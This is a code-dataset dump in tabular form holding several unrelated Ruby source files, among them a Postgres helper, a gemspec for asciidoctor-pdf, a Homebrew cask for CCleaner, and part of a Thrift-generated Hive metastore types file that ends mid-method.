hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
210ea828185e1fee32184b98929d6922639221f8 | 489 | module Postgres
class Relation
def self.execute(sql)
ActiveRecord::Base.connection.execute(sql)
end
def self.exists?(name)
begin
# Quickest way to determine if a relation exists is to ask Postgres to
# cast its name to a regclass. If the relation is absent, this will
# raise StatementInvalid
execute("SELECT '#{name}'::regclass")
true
rescue ActiveRecord::StatementInvalid
false
end
end
end
end
| 24.45 | 78 | 0.640082 |
39d42210b6c00cc5bae97c5c6e55d98c15012251 | 88 | class SampleAdapter < SourceAdapter
def initialize(source)
super(source)
end
end | 17.6 | 35 | 0.761364 |
1d55f346f0889e18157dc683739200eb9a3ece92 | 274 | FactoryGirl.define do
factory :ecm_pictures_picture, class: Ecm::Pictures::Picture do
image File.open(File.join(Ecm::References::Engine.root, 'spec/files', 'ecm/pictures', 'picture/image.jpg'))
end
end unless FactoryGirl.factories.registered?(:ecm_pictures_picture)
| 45.666667 | 111 | 0.773723 |
d51c2f738f17fc28ca41f1bf83173de45723a212 | 141 | module AnnotateGem
VERSION = "0.0.14".freeze
DESCRIPTION = "Add comments to your Gemfile with each dependency's description.".freeze
end
| 28.2 | 89 | 0.765957 |
26f52eb9f341426ae70917635fcee972d31912d8 | 42 | module JunitModel
VERSION = '0.1.1'
end
| 10.5 | 19 | 0.690476 |
1c003e0d9d5d4ee98efc0f3ed22e207f2b7ed04b | 159 | require 'motion_blender'
MotionBlender.incept
MotionBlender.use_motion_dir
require 'motion-openssl/version'
require 'motion-openssl/hooks'
require 'openssl'
| 17.666667 | 32 | 0.836478 |
6a10cf0a9c3e52fec6a11b60c26fd0f621d94988 | 1,351 | module Hanami
module Model
module Plugins
# Transform output into model domain types (entities).
#
# @since 0.7.0
# @api private
module Mapping
# Takes the output and applies the transformations
#
# @since 0.7.0
# @api private
class InputWithMapping < WrappingInput
# @since 0.7.0
# @api private
def initialize(relation, input)
super
@mapping = Hanami::Model.configuration.mappings[relation.name.to_sym]
end
# Processes the output
#
# @since 0.7.0
# @api private
def [](value)
@mapping.process(@input[value])
end
end
# Class interface
#
# @since 0.7.0
# @api private
module ClassMethods
# Builds the output processor
#
# @since 0.7.0
# @api private
def build(relation, options = {})
wrapped_input = InputWithMapping.new(relation, options.fetch(:input) { input })
super(relation, options.merge(input: wrapped_input))
end
end
# @since 0.7.0
# @api private
def self.included(klass)
super
klass.extend ClassMethods
end
end
end
end
end
| 24.125 | 91 | 0.513694 |
016dba33e5228831265c8f0dccb73611285dd83b | 159 | # frozen_string_literal: true
class AddAvatarImageToUsers < ActiveRecord::Migration[4.2]
def change
add_column :users, :avatar_image, :string
end
end
| 19.875 | 58 | 0.767296 |
21671f6ac15d124f70b962e06258aca5f90e2276 | 2,158 | # -*- encoding: utf-8 -*-
require File.expand_path '../lib/asciidoctor-pdf/version', __FILE__
require 'open3' unless defined? Open3
Gem::Specification.new do |s|
s.name = 'asciidoctor-pdf'
s.version = Asciidoctor::Pdf::VERSION
s.summary = 'Converts AsciiDoc documents to PDF using Prawn'
s.description = <<-EOS
An extension for Asciidoctor that converts AsciiDoc documents to PDF using the Prawn PDF library.
EOS
s.authors = ['Dan Allen', 'Sarah White']
s.email = '[email protected]'
s.homepage = 'https://github.com/asciidoctor/asciidoctor-pdf'
s.license = 'MIT'
s.required_ruby_version = '>= 1.9.3'
files = begin
(result = Open3.popen3('git ls-files -z') {|_, out| out.read }.split %(\0)).empty? ? Dir['**/*'] : result
rescue
Dir['**/*']
end
s.files = files.grep %r/^(?:(?:data|lib)\/.+|docs\/theming-guide\.adoc|Gemfile|Rakefile|(?:CHANGELOG|LICENSE|NOTICE|README)\.adoc|#{s.name}\.gemspec)$/
# FIXME optimize-pdf is currently a shell script, so listing it here won't work
#s.executables = ['asciidoctor-pdf', 'optimize-pdf']
s.executables = ['asciidoctor-pdf']
s.test_files = files.grep %r/^(?:test|spec|feature)\/.*$/
s.require_paths = ['lib']
s.add_development_dependency 'rake', '~> 12.3.2'
s.add_runtime_dependency 'asciidoctor', '>= 1.5.0'
# prawn >= 2.0.0 requires Ruby >= 2.0.0, so we must cast a wider net to support Ruby 1.9.3
s.add_runtime_dependency 'prawn', '>= 1.3.0', '< 2.3.0'
s.add_runtime_dependency 'prawn-table', '0.2.2'
# prawn-templates >= 0.0.5 requires prawn >= 2.2.0, so we must cast a wider net to support Ruby 1.9.3
s.add_runtime_dependency 'prawn-templates', '>= 0.0.3', '<= 0.1.1'
# prawn-svg >= 0.22.1 requires Ruby >= 2.0.0, so we must cast a wider net to support Ruby 1.9.3
s.add_runtime_dependency 'prawn-svg', '>= 0.21.0', '< 0.28.0'
s.add_runtime_dependency 'prawn-icon', '1.4.0'
s.add_runtime_dependency 'safe_yaml', '~> 1.0.4'
s.add_runtime_dependency 'thread_safe', '~> 0.3.6'
s.add_runtime_dependency 'concurrent-ruby', '~> 1.0.5'
# For our usage, treetop 1.6.2 is slower than 1.5.3
s.add_runtime_dependency 'treetop', '1.5.3'
end
| 42.313725 | 153 | 0.669138 |
1c345a6a40748989af61891a4ba2a3a4fc771dfc | 270 | class CreateShows < ActiveRecord::Migration[5.2]
def change
create_table :shows do |t|
t.string :name
t.string :description
t.string :spotify_uri
t.string :slug
t.boolean :deleted, default: false
t.timestamps
end
end
end
| 19.285714 | 48 | 0.640741 |
1c83e8b9d76c123598da23d633510f5bdf46fc74 | 790 | require 'ostruct'
require 'test_helper'
require 'support/steps'
class Micro::Case::CallTest < Minitest::Test
Failure = Micro::Case::Result
Add2ToAllNumbers1 = Micro::Cases.flow([
Steps::ConvertToNumbers,
Steps::Add2
])
def test_the_calling_of_use_cases
assert_raises(ArgumentError) { Steps::ConvertToNumbers.new() }
assert_instance_of(Failure, Steps::ConvertToNumbers.new({}).call)
assert_instance_of(Failure, Steps::ConvertToNumbers.call({}))
assert_instance_of(Failure, Steps::ConvertToNumbers.call)
end
def test_the_calling_of_collection_mapper_flows
assert_raises(NoMethodError) { Add2ToAllNumbers1.new({}).call }
assert_instance_of(Failure, Add2ToAllNumbers1.call({}))
assert_instance_of(Failure, Add2ToAllNumbers1.call)
end
end
| 28.214286 | 69 | 0.759494 |
61dcca42ef74ef32113b4099e452f316672676c6 | 1,646 | cask "ccleaner" do
version "2.05.144"
sha256 "eb73902cabcbe4fcea8a67f5e95d973b8109a286bdab7f47c8f37c160071383a"
url "https://download.ccleaner.com/mac/CCMacSetup#{version.major}#{version.minor.rjust(2, "0")}.dmg"
name "Piriform CCleaner"
desc "Remove junk and unused files"
homepage "https://www.ccleaner.com/ccleaner-mac"
livecheck do
url "https://www.ccleaner.com/ccleaner-mac/download"
regex(/CCleaner\s*for\s*Mac\s*v?(\d+(?:\.\d+)+)/i)
end
pkg "Install CCleaner.pkg"
uninstall quit: "com.piriform.ccleaner",
pkgutil: "com.piriform.pkg.CCleaner",
launchctl: [
"com.piriform.CCleaner",
"com.piriform.ccleaner.CCleanerAgent",
"com.piriform.ccleaner (com.piriform.CCleaner)",
"com.piriform.ccleaner.engine.xpc",
"com.piriform.ccleaner.services.submit",
"com.piriform.ccleaner.services.xpc",
"com.piriform.ccleaner.uninstall",
"com.piriform.ccleaner.update",
"com.piriform.ccleaner.update.xpc",
],
delete: "/Library/PrivilegedHelperTools/com.piriform.ccleaner.CCleanerAgent"
zap trash: [
"~/Library/Application Support/CCleaner",
"~/Library/Caches/com.piriform.ccleaner",
"~/Library/Cookies/com.piriform.ccleaner.binarycookies",
"~/Library/HTTPStorages/com.piriform.ccleaner",
"~/Library/HTTPStorages/com.piriform.ccleaner.binarycookies",
"~/Library/Preferences/com.piriform.ccleaner.plist",
"~/Library/Saved Application State/com.piriform.ccleaner.savedState",
"/Users/Shared/CCleaner",
]
end
| 38.27907 | 102 | 0.659174 |
1dae3101f18b97c4cc24c840a4416e772298d17e | 115,167 | #
# Autogenerated by Thrift Compiler (0.9.3)
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
require 'thrift'
require 'fb303_types'
module HiveObjectType
GLOBAL = 1
DATABASE = 2
TABLE = 3
PARTITION = 4
COLUMN = 5
VALUE_MAP = {1 => "GLOBAL", 2 => "DATABASE", 3 => "TABLE", 4 => "PARTITION", 5 => "COLUMN"}
VALID_VALUES = Set.new([GLOBAL, DATABASE, TABLE, PARTITION, COLUMN]).freeze
end
module PrincipalType
USER = 1
ROLE = 2
GROUP = 3
VALUE_MAP = {1 => "USER", 2 => "ROLE", 3 => "GROUP"}
VALID_VALUES = Set.new([USER, ROLE, GROUP]).freeze
end
module PartitionEventType
LOAD_DONE = 1
VALUE_MAP = {1 => "LOAD_DONE"}
VALID_VALUES = Set.new([LOAD_DONE]).freeze
end
module TxnState
COMMITTED = 1
ABORTED = 2
OPEN = 3
VALUE_MAP = {1 => "COMMITTED", 2 => "ABORTED", 3 => "OPEN"}
VALID_VALUES = Set.new([COMMITTED, ABORTED, OPEN]).freeze
end
module LockLevel
DB = 1
TABLE = 2
PARTITION = 3
VALUE_MAP = {1 => "DB", 2 => "TABLE", 3 => "PARTITION"}
VALID_VALUES = Set.new([DB, TABLE, PARTITION]).freeze
end
module LockState
ACQUIRED = 1
WAITING = 2
ABORT = 3
NOT_ACQUIRED = 4
VALUE_MAP = {1 => "ACQUIRED", 2 => "WAITING", 3 => "ABORT", 4 => "NOT_ACQUIRED"}
VALID_VALUES = Set.new([ACQUIRED, WAITING, ABORT, NOT_ACQUIRED]).freeze
end
module LockType
SHARED_READ = 1
SHARED_WRITE = 2
EXCLUSIVE = 3
VALUE_MAP = {1 => "SHARED_READ", 2 => "SHARED_WRITE", 3 => "EXCLUSIVE"}
VALID_VALUES = Set.new([SHARED_READ, SHARED_WRITE, EXCLUSIVE]).freeze
end
module CompactionType
MINOR = 1
MAJOR = 2
VALUE_MAP = {1 => "MINOR", 2 => "MAJOR"}
VALID_VALUES = Set.new([MINOR, MAJOR]).freeze
end
module GrantRevokeType
GRANT = 1
REVOKE = 2
VALUE_MAP = {1 => "GRANT", 2 => "REVOKE"}
VALID_VALUES = Set.new([GRANT, REVOKE]).freeze
end
module DataOperationType
SELECT = 1
INSERT = 2
UPDATE = 3
DELETE = 4
UNSET = 5
NO_TXN = 6
VALUE_MAP = {1 => "SELECT", 2 => "INSERT", 3 => "UPDATE", 4 => "DELETE", 5 => "UNSET", 6 => "NO_TXN"}
VALID_VALUES = Set.new([SELECT, INSERT, UPDATE, DELETE, UNSET, NO_TXN]).freeze
end
module EventRequestType
INSERT = 1
UPDATE = 2
DELETE = 3
VALUE_MAP = {1 => "INSERT", 2 => "UPDATE", 3 => "DELETE"}
VALID_VALUES = Set.new([INSERT, UPDATE, DELETE]).freeze
end
module FunctionType
JAVA = 1
VALUE_MAP = {1 => "JAVA"}
VALID_VALUES = Set.new([JAVA]).freeze
end
module ResourceType
JAR = 1
FILE = 2
ARCHIVE = 3
VALUE_MAP = {1 => "JAR", 2 => "FILE", 3 => "ARCHIVE"}
VALID_VALUES = Set.new([JAR, FILE, ARCHIVE]).freeze
end
module FileMetadataExprType
ORC_SARG = 1
VALUE_MAP = {1 => "ORC_SARG"}
VALID_VALUES = Set.new([ORC_SARG]).freeze
end
module ClientCapability
TEST_CAPABILITY = 1
INSERT_ONLY_TABLES = 2
VALUE_MAP = {1 => "TEST_CAPABILITY", 2 => "INSERT_ONLY_TABLES"}
VALID_VALUES = Set.new([TEST_CAPABILITY, INSERT_ONLY_TABLES]).freeze
end
class Version
include ::Thrift::Struct, ::Thrift::Struct_Union
VERSION = 1
COMMENTS = 2
FIELDS = {
VERSION => {:type => ::Thrift::Types::STRING, :name => 'version'},
COMMENTS => {:type => ::Thrift::Types::STRING, :name => 'comments'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class FieldSchema
include ::Thrift::Struct, ::Thrift::Struct_Union
NAME = 1
TYPE = 2
COMMENT = 3
FIELDS = {
NAME => {:type => ::Thrift::Types::STRING, :name => 'name'},
TYPE => {:type => ::Thrift::Types::STRING, :name => 'type'},
COMMENT => {:type => ::Thrift::Types::STRING, :name => 'comment'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class SQLPrimaryKey
include ::Thrift::Struct, ::Thrift::Struct_Union
TABLE_DB = 1
TABLE_NAME = 2
COLUMN_NAME = 3
KEY_SEQ = 4
PK_NAME = 5
ENABLE_CSTR = 6
VALIDATE_CSTR = 7
RELY_CSTR = 8
FIELDS = {
TABLE_DB => {:type => ::Thrift::Types::STRING, :name => 'table_db'},
TABLE_NAME => {:type => ::Thrift::Types::STRING, :name => 'table_name'},
COLUMN_NAME => {:type => ::Thrift::Types::STRING, :name => 'column_name'},
KEY_SEQ => {:type => ::Thrift::Types::I32, :name => 'key_seq'},
PK_NAME => {:type => ::Thrift::Types::STRING, :name => 'pk_name'},
ENABLE_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'enable_cstr'},
VALIDATE_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'validate_cstr'},
RELY_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'rely_cstr'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class SQLForeignKey
include ::Thrift::Struct, ::Thrift::Struct_Union
PKTABLE_DB = 1
PKTABLE_NAME = 2
PKCOLUMN_NAME = 3
FKTABLE_DB = 4
FKTABLE_NAME = 5
FKCOLUMN_NAME = 6
KEY_SEQ = 7
UPDATE_RULE = 8
DELETE_RULE = 9
FK_NAME = 10
PK_NAME = 11
ENABLE_CSTR = 12
VALIDATE_CSTR = 13
RELY_CSTR = 14
FIELDS = {
PKTABLE_DB => {:type => ::Thrift::Types::STRING, :name => 'pktable_db'},
PKTABLE_NAME => {:type => ::Thrift::Types::STRING, :name => 'pktable_name'},
PKCOLUMN_NAME => {:type => ::Thrift::Types::STRING, :name => 'pkcolumn_name'},
FKTABLE_DB => {:type => ::Thrift::Types::STRING, :name => 'fktable_db'},
FKTABLE_NAME => {:type => ::Thrift::Types::STRING, :name => 'fktable_name'},
FKCOLUMN_NAME => {:type => ::Thrift::Types::STRING, :name => 'fkcolumn_name'},
KEY_SEQ => {:type => ::Thrift::Types::I32, :name => 'key_seq'},
UPDATE_RULE => {:type => ::Thrift::Types::I32, :name => 'update_rule'},
DELETE_RULE => {:type => ::Thrift::Types::I32, :name => 'delete_rule'},
FK_NAME => {:type => ::Thrift::Types::STRING, :name => 'fk_name'},
PK_NAME => {:type => ::Thrift::Types::STRING, :name => 'pk_name'},
ENABLE_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'enable_cstr'},
VALIDATE_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'validate_cstr'},
RELY_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'rely_cstr'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class SQLUniqueConstraint
include ::Thrift::Struct, ::Thrift::Struct_Union
TABLE_DB = 1
TABLE_NAME = 2
COLUMN_NAME = 3
KEY_SEQ = 4
UK_NAME = 5
ENABLE_CSTR = 6
VALIDATE_CSTR = 7
RELY_CSTR = 8
FIELDS = {
TABLE_DB => {:type => ::Thrift::Types::STRING, :name => 'table_db'},
TABLE_NAME => {:type => ::Thrift::Types::STRING, :name => 'table_name'},
COLUMN_NAME => {:type => ::Thrift::Types::STRING, :name => 'column_name'},
KEY_SEQ => {:type => ::Thrift::Types::I32, :name => 'key_seq'},
UK_NAME => {:type => ::Thrift::Types::STRING, :name => 'uk_name'},
ENABLE_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'enable_cstr'},
VALIDATE_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'validate_cstr'},
RELY_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'rely_cstr'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class SQLNotNullConstraint
include ::Thrift::Struct, ::Thrift::Struct_Union
TABLE_DB = 1
TABLE_NAME = 2
COLUMN_NAME = 3
NN_NAME = 4
ENABLE_CSTR = 5
VALIDATE_CSTR = 6
RELY_CSTR = 7
FIELDS = {
TABLE_DB => {:type => ::Thrift::Types::STRING, :name => 'table_db'},
TABLE_NAME => {:type => ::Thrift::Types::STRING, :name => 'table_name'},
COLUMN_NAME => {:type => ::Thrift::Types::STRING, :name => 'column_name'},
NN_NAME => {:type => ::Thrift::Types::STRING, :name => 'nn_name'},
ENABLE_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'enable_cstr'},
VALIDATE_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'validate_cstr'},
RELY_CSTR => {:type => ::Thrift::Types::BOOL, :name => 'rely_cstr'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class Type
include ::Thrift::Struct, ::Thrift::Struct_Union
NAME = 1
TYPE1 = 2
TYPE2 = 3
FIELDS = 4
FIELDS = {
NAME => {:type => ::Thrift::Types::STRING, :name => 'name'},
TYPE1 => {:type => ::Thrift::Types::STRING, :name => 'type1', :optional => true},
TYPE2 => {:type => ::Thrift::Types::STRING, :name => 'type2', :optional => true},
FIELDS => {:type => ::Thrift::Types::LIST, :name => 'fields', :element => {:type => ::Thrift::Types::STRUCT, :class => ::FieldSchema}, :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class HiveObjectRef
include ::Thrift::Struct, ::Thrift::Struct_Union
OBJECTTYPE = 1
DBNAME = 2
OBJECTNAME = 3
PARTVALUES = 4
COLUMNNAME = 5
FIELDS = {
OBJECTTYPE => {:type => ::Thrift::Types::I32, :name => 'objectType', :enum_class => ::HiveObjectType},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
OBJECTNAME => {:type => ::Thrift::Types::STRING, :name => 'objectName'},
PARTVALUES => {:type => ::Thrift::Types::LIST, :name => 'partValues', :element => {:type => ::Thrift::Types::STRING}},
COLUMNNAME => {:type => ::Thrift::Types::STRING, :name => 'columnName'}
}
def struct_fields; FIELDS; end
def validate
unless @objectType.nil? || ::HiveObjectType::VALID_VALUES.include?(@objectType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field objectType!')
end
end
::Thrift::Struct.generate_accessors self
end
class PrivilegeGrantInfo
include ::Thrift::Struct, ::Thrift::Struct_Union
PRIVILEGE = 1
CREATETIME = 2
GRANTOR = 3
GRANTORTYPE = 4
GRANTOPTION = 5
FIELDS = {
PRIVILEGE => {:type => ::Thrift::Types::STRING, :name => 'privilege'},
CREATETIME => {:type => ::Thrift::Types::I32, :name => 'createTime'},
GRANTOR => {:type => ::Thrift::Types::STRING, :name => 'grantor'},
GRANTORTYPE => {:type => ::Thrift::Types::I32, :name => 'grantorType', :enum_class => ::PrincipalType},
GRANTOPTION => {:type => ::Thrift::Types::BOOL, :name => 'grantOption'}
}
def struct_fields; FIELDS; end
def validate
unless @grantorType.nil? || ::PrincipalType::VALID_VALUES.include?(@grantorType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field grantorType!')
end
end
::Thrift::Struct.generate_accessors self
end
class HiveObjectPrivilege
include ::Thrift::Struct, ::Thrift::Struct_Union
HIVEOBJECT = 1
PRINCIPALNAME = 2
PRINCIPALTYPE = 3
GRANTINFO = 4
FIELDS = {
HIVEOBJECT => {:type => ::Thrift::Types::STRUCT, :name => 'hiveObject', :class => ::HiveObjectRef},
PRINCIPALNAME => {:type => ::Thrift::Types::STRING, :name => 'principalName'},
PRINCIPALTYPE => {:type => ::Thrift::Types::I32, :name => 'principalType', :enum_class => ::PrincipalType},
GRANTINFO => {:type => ::Thrift::Types::STRUCT, :name => 'grantInfo', :class => ::PrivilegeGrantInfo}
}
def struct_fields; FIELDS; end
def validate
unless @principalType.nil? || ::PrincipalType::VALID_VALUES.include?(@principalType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field principalType!')
end
end
::Thrift::Struct.generate_accessors self
end
class PrivilegeBag
include ::Thrift::Struct, ::Thrift::Struct_Union
PRIVILEGES = 1
FIELDS = {
PRIVILEGES => {:type => ::Thrift::Types::LIST, :name => 'privileges', :element => {:type => ::Thrift::Types::STRUCT, :class => ::HiveObjectPrivilege}}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class PrincipalPrivilegeSet
include ::Thrift::Struct, ::Thrift::Struct_Union
USERPRIVILEGES = 1
GROUPPRIVILEGES = 2
ROLEPRIVILEGES = 3
FIELDS = {
USERPRIVILEGES => {:type => ::Thrift::Types::MAP, :name => 'userPrivileges', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::LIST, :element => {:type => ::Thrift::Types::STRUCT, :class => ::PrivilegeGrantInfo}}},
GROUPPRIVILEGES => {:type => ::Thrift::Types::MAP, :name => 'groupPrivileges', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::LIST, :element => {:type => ::Thrift::Types::STRUCT, :class => ::PrivilegeGrantInfo}}},
ROLEPRIVILEGES => {:type => ::Thrift::Types::MAP, :name => 'rolePrivileges', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::LIST, :element => {:type => ::Thrift::Types::STRUCT, :class => ::PrivilegeGrantInfo}}}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class GrantRevokePrivilegeRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
REQUESTTYPE = 1
PRIVILEGES = 2
REVOKEGRANTOPTION = 3
FIELDS = {
REQUESTTYPE => {:type => ::Thrift::Types::I32, :name => 'requestType', :enum_class => ::GrantRevokeType},
PRIVILEGES => {:type => ::Thrift::Types::STRUCT, :name => 'privileges', :class => ::PrivilegeBag},
REVOKEGRANTOPTION => {:type => ::Thrift::Types::BOOL, :name => 'revokeGrantOption', :optional => true}
}
def struct_fields; FIELDS; end
def validate
unless @requestType.nil? || ::GrantRevokeType::VALID_VALUES.include?(@requestType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field requestType!')
end
end
::Thrift::Struct.generate_accessors self
end
class GrantRevokePrivilegeResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
SUCCESS = 1
FIELDS = {
SUCCESS => {:type => ::Thrift::Types::BOOL, :name => 'success', :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class Role
include ::Thrift::Struct, ::Thrift::Struct_Union
ROLENAME = 1
CREATETIME = 2
OWNERNAME = 3
FIELDS = {
ROLENAME => {:type => ::Thrift::Types::STRING, :name => 'roleName'},
CREATETIME => {:type => ::Thrift::Types::I32, :name => 'createTime'},
OWNERNAME => {:type => ::Thrift::Types::STRING, :name => 'ownerName'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class RolePrincipalGrant
include ::Thrift::Struct, ::Thrift::Struct_Union
ROLENAME = 1
PRINCIPALNAME = 2
PRINCIPALTYPE = 3
GRANTOPTION = 4
GRANTTIME = 5
GRANTORNAME = 6
GRANTORPRINCIPALTYPE = 7
FIELDS = {
ROLENAME => {:type => ::Thrift::Types::STRING, :name => 'roleName'},
PRINCIPALNAME => {:type => ::Thrift::Types::STRING, :name => 'principalName'},
PRINCIPALTYPE => {:type => ::Thrift::Types::I32, :name => 'principalType', :enum_class => ::PrincipalType},
GRANTOPTION => {:type => ::Thrift::Types::BOOL, :name => 'grantOption'},
GRANTTIME => {:type => ::Thrift::Types::I32, :name => 'grantTime'},
GRANTORNAME => {:type => ::Thrift::Types::STRING, :name => 'grantorName'},
GRANTORPRINCIPALTYPE => {:type => ::Thrift::Types::I32, :name => 'grantorPrincipalType', :enum_class => ::PrincipalType}
}
def struct_fields; FIELDS; end
def validate
unless @principalType.nil? || ::PrincipalType::VALID_VALUES.include?(@principalType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field principalType!')
end
unless @grantorPrincipalType.nil? || ::PrincipalType::VALID_VALUES.include?(@grantorPrincipalType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field grantorPrincipalType!')
end
end
::Thrift::Struct.generate_accessors self
end
class GetRoleGrantsForPrincipalRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
PRINCIPAL_NAME = 1
PRINCIPAL_TYPE = 2
FIELDS = {
PRINCIPAL_NAME => {:type => ::Thrift::Types::STRING, :name => 'principal_name'},
PRINCIPAL_TYPE => {:type => ::Thrift::Types::I32, :name => 'principal_type', :enum_class => ::PrincipalType}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field principal_name is unset!') unless @principal_name
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field principal_type is unset!') unless @principal_type
unless @principal_type.nil? || ::PrincipalType::VALID_VALUES.include?(@principal_type)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field principal_type!')
end
end
::Thrift::Struct.generate_accessors self
end
class GetRoleGrantsForPrincipalResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
PRINCIPALGRANTS = 1
FIELDS = {
PRINCIPALGRANTS => {:type => ::Thrift::Types::LIST, :name => 'principalGrants', :element => {:type => ::Thrift::Types::STRUCT, :class => ::RolePrincipalGrant}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field principalGrants is unset!') unless @principalGrants
end
::Thrift::Struct.generate_accessors self
end
class GetPrincipalsInRoleRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
ROLENAME = 1
FIELDS = {
ROLENAME => {:type => ::Thrift::Types::STRING, :name => 'roleName'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field roleName is unset!') unless @roleName
end
::Thrift::Struct.generate_accessors self
end
class GetPrincipalsInRoleResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
PRINCIPALGRANTS = 1
FIELDS = {
PRINCIPALGRANTS => {:type => ::Thrift::Types::LIST, :name => 'principalGrants', :element => {:type => ::Thrift::Types::STRUCT, :class => ::RolePrincipalGrant}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field principalGrants is unset!') unless @principalGrants
end
::Thrift::Struct.generate_accessors self
end
class GrantRevokeRoleRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
REQUESTTYPE = 1
ROLENAME = 2
PRINCIPALNAME = 3
PRINCIPALTYPE = 4
GRANTOR = 5
GRANTORTYPE = 6
GRANTOPTION = 7
FIELDS = {
REQUESTTYPE => {:type => ::Thrift::Types::I32, :name => 'requestType', :enum_class => ::GrantRevokeType},
ROLENAME => {:type => ::Thrift::Types::STRING, :name => 'roleName'},
PRINCIPALNAME => {:type => ::Thrift::Types::STRING, :name => 'principalName'},
PRINCIPALTYPE => {:type => ::Thrift::Types::I32, :name => 'principalType', :enum_class => ::PrincipalType},
GRANTOR => {:type => ::Thrift::Types::STRING, :name => 'grantor', :optional => true},
GRANTORTYPE => {:type => ::Thrift::Types::I32, :name => 'grantorType', :optional => true, :enum_class => ::PrincipalType},
GRANTOPTION => {:type => ::Thrift::Types::BOOL, :name => 'grantOption', :optional => true}
}
def struct_fields; FIELDS; end
def validate
unless @requestType.nil? || ::GrantRevokeType::VALID_VALUES.include?(@requestType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field requestType!')
end
unless @principalType.nil? || ::PrincipalType::VALID_VALUES.include?(@principalType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field principalType!')
end
unless @grantorType.nil? || ::PrincipalType::VALID_VALUES.include?(@grantorType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field grantorType!')
end
end
::Thrift::Struct.generate_accessors self
end
class GrantRevokeRoleResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
SUCCESS = 1
FIELDS = {
SUCCESS => {:type => ::Thrift::Types::BOOL, :name => 'success', :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class Database
include ::Thrift::Struct, ::Thrift::Struct_Union
NAME = 1
DESCRIPTION = 2
LOCATIONURI = 3
PARAMETERS = 4
PRIVILEGES = 5
OWNERNAME = 6
OWNERTYPE = 7
FIELDS = {
NAME => {:type => ::Thrift::Types::STRING, :name => 'name'},
DESCRIPTION => {:type => ::Thrift::Types::STRING, :name => 'description'},
LOCATIONURI => {:type => ::Thrift::Types::STRING, :name => 'locationUri'},
PARAMETERS => {:type => ::Thrift::Types::MAP, :name => 'parameters', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::STRING}},
PRIVILEGES => {:type => ::Thrift::Types::STRUCT, :name => 'privileges', :class => ::PrincipalPrivilegeSet, :optional => true},
OWNERNAME => {:type => ::Thrift::Types::STRING, :name => 'ownerName', :optional => true},
OWNERTYPE => {:type => ::Thrift::Types::I32, :name => 'ownerType', :optional => true, :enum_class => ::PrincipalType}
}
def struct_fields; FIELDS; end
def validate
